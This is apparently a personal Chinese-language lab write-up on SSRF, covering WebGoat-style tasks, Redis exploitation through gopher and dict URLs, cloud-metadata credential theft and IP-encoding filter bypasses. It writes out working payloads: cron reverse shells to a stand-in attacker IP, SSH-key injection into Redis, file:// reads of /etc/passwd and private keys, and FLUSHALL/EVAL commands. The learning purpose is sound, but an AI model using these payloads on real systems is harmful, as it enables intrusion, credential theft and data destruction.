SSRF(服务端请求伪造)
SSRF攻击是指攻击者滥用服务器上的功能来读取或修改内部资源。在这种攻击中,攻击者能够提供或修改一个**URL,使得服务器代码会按照这个URL**去读取数据或提交数据
原理
- 服务器信任边界突破:利用服务器对内部网络的信任关系
- URL操控:经过精心构造的URL,攻击者可以
- 读取服务器配置(如AWS元数据)
- 连接到内部服务(如HTTP接口的数据库)
- 向本不应暴露的内部服务发送POST请求
攻击目标
- 信息收集
- 获取云服务数据(如AWS的IAM凭证)
- 读取服务器本地文件(通过file://协议)
- 内部网络探测
- 扫描内网IP和端口
- 识别内部服务
- 内部服务交互
- 攻击无认证的内部API
- 操作内部数据库
- 触发内部管理功能
典型攻击场景
POST /api/fetchdata HTTP/1.1
Host: vulnerable.com
Content-Type: application/json
{
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
防御
- 输入验证
- 实施严格的URL白名单
- 验证服务类型(禁用危险协议)
- 网络层防护:
- 限制服务器出站连接(**防火墙:**限制服务器只能访问必要的内部服务)
- 使用网络隔离策略
- 云服务加固
- 保护元数据服务(如AWS IMDSv2)
- 使用服务端的代理替代直接请求
- 日志监控
- 记录所有外部请求
- 设置异常请求报警
SSRFtask1
靶场


这里点击按钮抓包后会提交一个tom.png的url申请,把tom改成jerry就行了
审计

源码也没什么好说的,就是个tom/jerry的比较
SSRFtask2
靶场

要我们从 http://ifconfig.pro 获取信息,那就尝试把url改成这个

没想到这就成功了
审计

也就是对url是否是http://ifconfig.pro 进行判断
ssrf-lab
Redis服务
基础概念:
Redis是一个开源的、基于内存的数据结构存储系统,默认端口**6379,它可以用作数据库、缓存和消息中间件。Redis 以键值对**形式存储数据,支持多种复杂的数据结构,具有高性能、高可靠性和丰富的功能特性,被广泛应用于互联网应用中。
常见攻击手法:
- 未授权访问(Redis 服务器没有设置密码或绑定特定 IP,攻击者可以直接连接并执行命令。)
# 无需密码直接连接
redis-cli -h target_ip -p 6379
# 查看所有键
KEYS *
# 获取敏感数据
GET user:password
- RCE:攻击者通过 Redis 写入** SSH 密钥或定时任务**,实现远程命令执行。
# 写入SSH公钥,实现无密码登录
SET x "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqql6MzstZYh1TmWWv11q5O3pISj2ZFl9HgH1JLknLLx44+tXfJ7mIrKNxOOwxIxvcBF8PXSYvobFYEZjGIVCEAjrUzLiIxbyCoxVyle7Q+bqgZ8SeeM8wzytsY+dVGcBxF6N4JS+zVk5eMcV385gG3Y6ON3EG112n6d+SMXY0OEBIcO6x+PnUSGHrSgpBgX7Ks1r7xqFa7heJLLt2wWwkARptX7udSq05paBhcpB0pHtA1Rfz3K2B+ZVIpSDfki9UVKzT8JUmwW6NNzSgxUfQHGwnW7kj4jp4AT0VZk3ADw497M2G/12N0PPB5CnhHf7ovgy6nL1ikrygTKRFmNZISvA==\n\n"
CONFIG SET dir /root/.ssh/
CONFIG SET dbfilename authorized_keys
SAVE
# 写入定时任务执行反弹shell
SET x "\n\n*/1 * * * * bash -i >& /dev/tcp/attacker_ip/8080 0>&1\n\n"
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SAVE
- 数据泄露攻击
# 遍历所有键
KEYS *
# 获取特定模式的键
KEYS user:*
KEYS password:*
# 获取敏感数据
GET user:1:password
HGETALL user:1
- **脚本注入攻击:**攻击者利用EVAL命令执行恶意Lua脚本
# 执行系统命令
EVAL "os.execute('cat /etc/passwd')" 0
# 删除所有数据
EVAL "redis.call('FLUSHALL')" 0
Gopher协议
Gopher协议是一种早期的互联网协议,类似于简化的HTTP,主要用于文本、菜单和文件的传输。现代Web已经很少使用,但某些服务器仍支持
- 协议特点
- 基于TCP,默认端口70
- 支持多行命令
- 可以构造任意的TCP数据包
- 常用于攻击Redis、MySQL、Memcached等内网服务
- 在SSRF中的作用
Gopher是SSRF中最危险的协议之一,因为:
- 可构造任意TCP请求(如Redis、MySQL命令)
- 绕过HTTP限制(HTTP只能单行请求,Gopher可多行)
- 攻击内网未授权服务(如Redis未授权访问)
- 攻击示例(Redis未授权访问)
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$1%0d%0a1%0d%0a
解码后相当于向Redis发送( SET 1 1)
Dict协议
Dict用于查询字典定义,默认端口**2628**
- 协议特点
- 主要用于查询单词定义
- 可以探测端口开放情况
- 某些实现允许执行简单命令
- 在SSRF中的作用
- 端口扫描(检查内网服务是否开放)
dict://127.0.0.1:6379/
如果** Redis** 开放,会返回** -ERR unknown command**。
- **获取服务信息**
dict://127.0.0.1:2628/info
某些服务(如Redis)会返回版本信息
curl
curl是常用的命令行工具,用于请求Web服务器(客户端client的URL工具)
| 用途 | 命令示例 | 注释 |
|---|---|---|
| GET 请求 | curl https://example.com |
|
| POST请求 | curl -X POST https://example.com/api -d “name=value” |
-X:指定 HTTP方法 -d:发送POST数据(表单格式) |
| 发送JSON | curl -X POST [https://example.com/api](https://example.com/api) \-H “Content-Type: application/json” </code> |
-H:添加 HTTP 请求头(如 Content-Type)-d:发送 JSON 数据。 |
| 查看请求和响应头 | curl -v https://example.com |
|
| 仅查看响应头 | curl -I https://example.com |
|
| 保存输出到文件 | curl -o output.html https://example.comcurl -O https://example.com/file.zip |
-o:将响应保存到文件(output.html)-O:保存文件并将 URL 的最后部分当作文件名。 |
| 跟随重定向 | curl -L https://example.com |
-L(--location):自动跟随 301/302 重定向 |
常见内网IP段
局域网地址范围分三类,以下IP段为内网IP段:
C类:192.168.0.0 - 192.168.255.255
B类:172.16.0.0 - 172.31.255.255
A类:10.0.0.0 - 10.255.255.255
AK/SK
云服务提供商提供的身份验证凭证,AK是访问密钥ID,SK是秘密访问密钥
常见云服务AK/SK:
- AWS:AKIAxxxxxxxxxxxxxxxx
- 阿里云:LTAIxxxxxxxxxxxxxxxx
- 腾讯云:AKIDxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
利用技巧
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
不同云厂商的元数据端点:
- AWS: 169.254.169.254
- 阿里云: 100.100.100.200
- 腾讯云: metadata.tencentyun.com
临时凭证使用
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/role-name --role-session-name test
SSH
- SSH密钥类型:RSA、DSA、ECDSA、Ed25519
- 常见位置:
- ~/.ssh/id_rsa (私钥)
- ~/.ssh/authorized_keys (公钥授权文件)
- /etc/ssh/ssh_host_*_key (主机密钥)
利用技巧
1.读取本地文件获取SSH密钥:
curl file:///home/user/.ssh/id_rsa
- 通过gopher协议利用SSH:
- 构造SSH协议流量攻击内网SSH服务
- 利用已知漏洞或弱密码尝试登录
- 利用known_hosts文件
- 获取内网主机信息
- 分析信任关系
basic
没怎么接触过这种类型,先看源码
源码

- 初始化一个cURL会话,ch中存储cURL会话的句柄(handle)
- 将用户通过POST方法提交的URL设置为cURL请求的目标地址
- CURLOPT_URL是一个选项,用于指定请求的目标URL
- 前端通过POST方法提交了一个表单,其中包含一个名为 handler 的字段,其值是一个 URL 地址。
- CURLOPT_RETURNTRANSFER被设置为1时,cURL会将请求的返回结果以字符串的形式返回,而不是直接输出到浏览器(方便后续对返回结果处理或存储)
- 执行请求后,返回的结果会存储在变量 $output 中。
- 关闭cURL会话
- 将变量 $output 的内容输出到浏览器。
- 总结:就是前端输入一个URL,curl会对这个url发出HTTP请求,并将结果返回浏览器,可以看到这里是没有过滤的
靶场
因为很多的SSRF协议都是要结合Redis服务利用的,所以
开启一下redis服务

http与https协议
127.0.0.1

可以看到回显,说明没有对内网进行过滤
file协议
file:///etc/passwd
file:///文件的路径

dict协议
dict://127.0.0.1:6379/info

简单看一下返回的redis信息(本地redis服务配置信息)
HTTP/1.1 200 OK //redis 是 TCP 协议服务,但返回了 HTTP 头因为被HTTP代理拦截
Date: Fri, 13 Jun 2025 07:55:50 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 2039
Connection: close
Content-Type: text/html; charset=UTF-8
-ERR Syntax error, try CLIENT (LIST | KILL ip:port | GETNAME | SETNAME connection-name)
$1936
# Server
redis_version:3.0.6
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:7785291a3d2152db
redis_mode:standalone
os:Linux 6.6.87.1-microsoft-standard-WSL2 x86_64
arch_bits:64
multiplexing_api:epoll
gcc_version:5.4.0
process_id:119
run_id:beb83efc8db5b60019a2e2ad65ce4f485e510365
tcp_port:6379 //默认端口开放
uptime_in_seconds:5543
uptime_in_days:0
hz:10
lru_clock:4970885
config_file: //未指定配置文件
# Clients //客户端
connected_clients:1
client_longest_output_list:0
client_biggest_input_buf:6
blocked_clients:0
# Memory
used_memory:815640
used_memory_human:796.52K
used_memory_rss:3932160
used_memory_peak:816664
used_memory_peak_human:797.52K
used_memory_lua:36864
mem_fragmentation_ratio:4.82
mem_allocator:jemalloc-3.6.0
# Persistence
loading:0
rdb_changes_since_last_save:5
rdb_bgsave_in_progress:0
rdb_last_save_time:1749798267
rdb_last_bgsave_status:ok
rdb_last_bgsave_time_sec:-1
rdb_current_bgsave_time_sec:-1
aof_enabled:0 //未开启持久化
aof_rewrite_in_progress:0
aof_rewrite_scheduled:0
aof_last_rewrite_time_sec:-1
aof_current_rewrite_time_sec:-1
aof_last_bgrewrite_status:ok
aof_last_write_status:ok
# Stats
total_connections_received:13
total_commands_processed:24
instantaneous_ops_per_sec:0
total_net_input_bytes:925
total_net_output_bytes:11431
instantaneous_input_kbps:0.00
instantaneous_output_kbps:0.00
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:0
evicted_keys:0
keyspace_hits:0
keyspace_misses:0
pubsub_channels:0
pubsub_patterns:0
latest_fork_usec:0
migrate_cached_sockets:0
# Replication
role:master
connected_slaves:0
master_repl_offset:0
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0
# CPU
used_cpu_sys:4.02
used_cpu_user:1.45
used_cpu_sys_children:0.00
used_cpu_user_children:0.00
# Cluster
cluster_enabled:0
# Keyspace
db0:keys=1,expires=0,avg_ttl=0 //数据库状态有一个键无过期键
+OK
protected-mode:(未显示) # 未启用保护模式
**requirepass:(未显示) ** # 未设置密码认证
利用**dict://127.0.0.1:6379/KEYS 获取 redis 数据库* 存储的内容
通过容器验证

Gopher协议
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/www/html/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
-->
gopher://127.0.0.1:6379/_*1 $8 flushall *3 $3 set $1 1 $64 */1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1 *4 $6 config $3 set $3 dir $16 /var/www/html/ *4 $6 config $3 set $10 dbfilename $4 root *1 $4 save quit
- 连接 Redis,
_后的内容是经过UEL编码后的 Redis协议(RESP)命令 - 清理Redis数据:
_*1 $8 flushall(删除所有数据库的数据) - 写入恶意 Cron 任务:
- 使用 SET 命令将键 1 的值设为一段 Cron 任务(每 1 分钟执行一次反弹 Shell)
- 攻击者试图通过 Redis 写入定时任务,建立持久化后门
- 配置Redis持久化路径
*4 $6 config $3 set $3 dir $16 /var/www/html/
修改 Redis 持久化目录为 /var/www/html/(通常为 Web 根目录)。
- `*4 $6 config $3 set $10 dbfilename $4 root`
修改持久化文件名为 root(最终文件路径为 /var/www/html/root)。
- 触发持久化
*1 $4 save
强制 Redis 将数据保存到磁盘(写入恶意 Cron 任务到 Web 目录)。
- `quit`
退出 Redis 连接。
- 总结
- 写入恶意 Cron 任务(用于定时执行任务的计划任务服务)
通过 Redis 的 SET 命令插入 Cron 任务,实现定时反弹 Shell(连接到攻击者的 IP 127.0.0.1:45952)。
- **利用 Web 目录提权**
将 Redis 持久化文件(root)写入 Web 目录,可能通过 HTTP 访问或后续利用。
返回结果

advanced1

这里通过正则表达式限制url必须以http://或者https://开头,并且不能指向10.0.0.3这一地址
这样的话之前的协议绕过肯定是不行的,但是可以ip地址编码绕过

ip地址绕过
字符串: 10.0.0.3
二进制: 00001010 . 00000000 . 00000000 . 00000011
八进制: 012.0.0.03
十六进制: 0A.00.00.03 0xA.0x0.0x0.0x3
整数: 167772163
点号省略 10.3
advanced2


可以看到被限制了

这里感觉有点奇怪,网上用http://google.com# @secret.corp绕过,但是这一返回其实和secret.corp没关系
advanced3
更新: 2025-06-23 15:42:43
原文: https://www.yuque.com/cindahy/aqfzwf/bo4my5fxcdf49apa